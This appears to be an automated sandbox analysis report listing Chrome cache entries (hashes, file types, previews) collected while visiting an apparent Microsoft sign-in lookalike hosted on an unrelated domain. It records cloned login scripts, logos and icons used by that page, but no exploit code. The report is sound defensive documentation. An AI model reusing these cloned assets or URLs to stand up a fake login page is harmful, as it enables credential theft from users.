SHA1:	15BA120F64BBF6A59A457841B10DF0D6D1B4574C
SHA-256:	441BFA485FB0EB8AD2BE7001209868B57C41769CAE9512A774419F5882C093E6
SHA-512:	FB6002797BD9E28A352BCBE4643BC7E998C562218D9189AE879E1DC605BC79C3234435029B46667724E5C85A475A72C8DDDED17E3EEFD7791EC1FB21822D3804
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js
Preview:	!function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}function n(e,r,n){if(e&&r){n\|\|(e=e.toLowerCase());for(var t=0;t<r.length;t++){var o=r[t];if(o&&(n\|\|(o=o.toLowerCase()),e.indexOf(o)>=0)){return r[t]}}}return null}function t(e,r,n){return!!(0===n&&r&&r.indexOf("Script error.")>=0)}function o(e,r){.if(!e.expectedVersion\|\|e.expectedVersion!==E().jquery){if(r&&r.indexOf("jQuery.easing[jQuery.easing.def] is not a function")>=0){return!0}if(r&&r.indexOf("The bound jQuery version is not the expected version -- loaded")>=0){return!0}}return!1}function i(e){if(e){try{if("string"!==E.type(e)&&JSON&&JSON.stringify){var n=r(e),t=JSON.stringify(e);return t&&"{}"!==t\|\|(e.error&&(e=e.error,n=r(e)),(t=JSON.stringify(e))&&"{}"!==t\|\|(t=e.toString())),n+":"+t}}catch(e){}}return""+(e\|\|"")}function a(e,r){return{."sig

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45797)
Category:	dropped
Size (bytes):	406986
Entropy (8bit):	5.317891650221025
Encrypted:	false
SSDEEP:	3072:U8MOoLTvZBZdxn7oW/Cs9wQ2JcP2RTQ/Opsm7m5dihTuZykwFM8dteY2or/cOsF1:WTL7nxp/1+eH/8smQZnL1
MD5:	62627959E9174F652FFFE451CB318926
SHA1:	74A1658A01C50B01546C3E8AE9210CD93C7144CD
SHA-256:	7E782066C034F36E626F218099EB0588CF0AB8E8DF19003F48ADBBDA284E8FA1
SHA-512:	EFACC6A55FE6E8C8160F68DE71E1D21374E3F79C1482EE1A5543338CAEE97D4765EACB40F5EDA9FDEA9189F02F62E3EEE2EBC3FEF2BC730043CF644C044D7B42
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],Array(539).concat([f

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64612)
Category:	dropped
Size (bytes):	113769
Entropy (8bit):	5.492343205210805
Encrypted:	false
SSDEEP:	1536:Ux8gIRPY0+r5qnWis4mzA/4kQLJCUmgkpE7XXtXiN5CVoLq0J:PgDTMnWC3gZmgkAnZibcM
MD5:	9F02E24CD4E7788D28587C2B1CB504E7
SHA1:	59DA2FC24777CD180F6D3A3F7CE9D9DD90520430
SHA-256:	C30FD6BB912661057EC2EEA9A2F135303A6D0F8D110BF11493B369286F0587AE
SHA-512:	95276C7F1BBA2777F02E7CD3674CD0E967C96F0E0FC88C0862E82A7455A6C7D6CC90A23F9623412B3696F39F8C4069B17DC8FDF16C03003165D398E2080CAD57
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[37],{1379:function(e,t,

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	downloaded
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32028)
Category:	downloaded
Size (bytes):	57678
Entropy (8bit):	5.372106473481957
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3P7ym+d/Px25+1wtRUixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJ/7ym+d/Po5+1wtRUiJig/Ml
MD5:	576D2203E19A860B95BB67C655768C1E
SHA1:	163C9B4505FA2F7B1EBDFA2854358B709C75614F
SHA-256:	9FA77B26BE0BF9903945803CB673A12ED6F1EDB5724AD41C34EFFECC9768DF9F
SHA-512:	AB5CB50EF698B84CD3E6ABBE7BA0161AC09DC81E2AECE46D401ED7FFB6DB5AE1600513CEE80D9D0ED3C087C49D7B7B6E55A08595CDC99691EE794CF277DA1FFA
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	dropped
Size (bytes):	11970
Entropy (8bit):	5.416120131770621
Encrypted:	false
SSDEEP:	192:FPpd9ihiovIZwqsTh8Mi0Yl82YmYZewHe+IkA1niOpVTChGZu3PcXVstaD:ddEIyi0u82Y9ZewHPIkA1niOpVmOUPcX
MD5:	39A0EB35CD7799A181D34F4AE1DDB496
SHA1:	E933CA8534BCB6AD79D240316CE23C8B870050D0
SHA-256:	C8CEF105FCAF7CBF3F8682C861045505C24D41CF6686C20C1C03E14031A3DB69
SHA-512:	0AE990F9B57B55C3A8025BBE13C98ECD8A40C38380F9E0EFEF2BE7B418642EB040E4C537E684D2FEF7E04113450CFD4DEFF3414310773177220209991BBF1643
Malicious:	false
Reputation:	low
Preview:	/! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. .. json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain..Provided for Informational Purposes Only..Public Domain. .NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK..----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */."object"!=typeof JSON&&(JSON={}),

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	dropped
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2054)
Category:	dropped
Size (bytes):	9285
Entropy (8bit):	5.397876465825329
Encrypted:	false
SSDEEP:	192:U23y7LVYADenIY9uOqc4gIVH4VoXLIOjMuj4lMNVWmn4GHF5y8WC:U23y7hDTYvquI14i5EOvWmNl5y8h
MD5:	439A53994F1A9C860C7787ED5100CA0C
SHA1:	15BA120F64BBF6A59A457841B10DF0D6D1B4574C
SHA-256:	441BFA485FB0EB8AD2BE7001209868B57C41769CAE9512A774419F5882C093E6
SHA-512:	FB6002797BD9E28A352BCBE4643BC7E998C562218D9189AE879E1DC605BC79C3234435029B46667724E5C85A475A72C8DDDED17E3EEFD7791EC1FB21822D3804
Malicious:	false
Reputation:	low
Preview:	!function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}function n(e,r,n){if(e&&r){n\|\|(e=e.toLowerCase());for(var t=0;t<r.length;t++){var o=r[t];if(o&&(n\|\|(o=o.toLowerCase()),e.indexOf(o)>=0)){return r[t]}}}return null}function t(e,r,n){return!!(0===n&&r&&r.indexOf("Script error.")>=0)}function o(e,r){.if(!e.expectedVersion\|\|e.expectedVersion!==E().jquery){if(r&&r.indexOf("jQuery.easing[jQuery.easing.def] is not a function")>=0){return!0}if(r&&r.indexOf("The bound jQuery version is not the expected version -- loaded")>=0){return!0}}return!1}function i(e){if(e){try{if("string"!==E.type(e)&&JSON&&JSON.stringify){var n=r(e),t=JSON.stringify(e);return t&&"{}"!==t\|\|(e.error&&(e=e.error,n=r(e)),(t=JSON.stringify(e))&&"{}"!==t\|\|(t=e.toString())),n+":"+t}}catch(e){}}return""+(e\|\|"")}function a(e,r){return{."sig

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	downloaded
Size (bytes):	11970
Entropy (8bit):	5.416120131770621
Encrypted:	false
SSDEEP:	192:FPpd9ihiovIZwqsTh8Mi0Yl82YmYZewHe+IkA1niOpVTChGZu3PcXVstaD:ddEIyi0u82Y9ZewHPIkA1niOpVmOUPcX
MD5:	39A0EB35CD7799A181D34F4AE1DDB496
SHA1:	E933CA8534BCB6AD79D240316CE23C8B870050D0
SHA-256:	C8CEF105FCAF7CBF3F8682C861045505C24D41CF6686C20C1C03E14031A3DB69
SHA-512:	0AE990F9B57B55C3A8025BBE13C98ECD8A40C38380F9E0EFEF2BE7B418642EB040E4C537E684D2FEF7E04113450CFD4DEFF3414310773177220209991BBF1643
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js
Preview:	/! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. .. json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain..Provided for Informational Purposes Only..Public Domain. .NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK..----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */."object"!=typeof JSON&&(JSON={}),

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
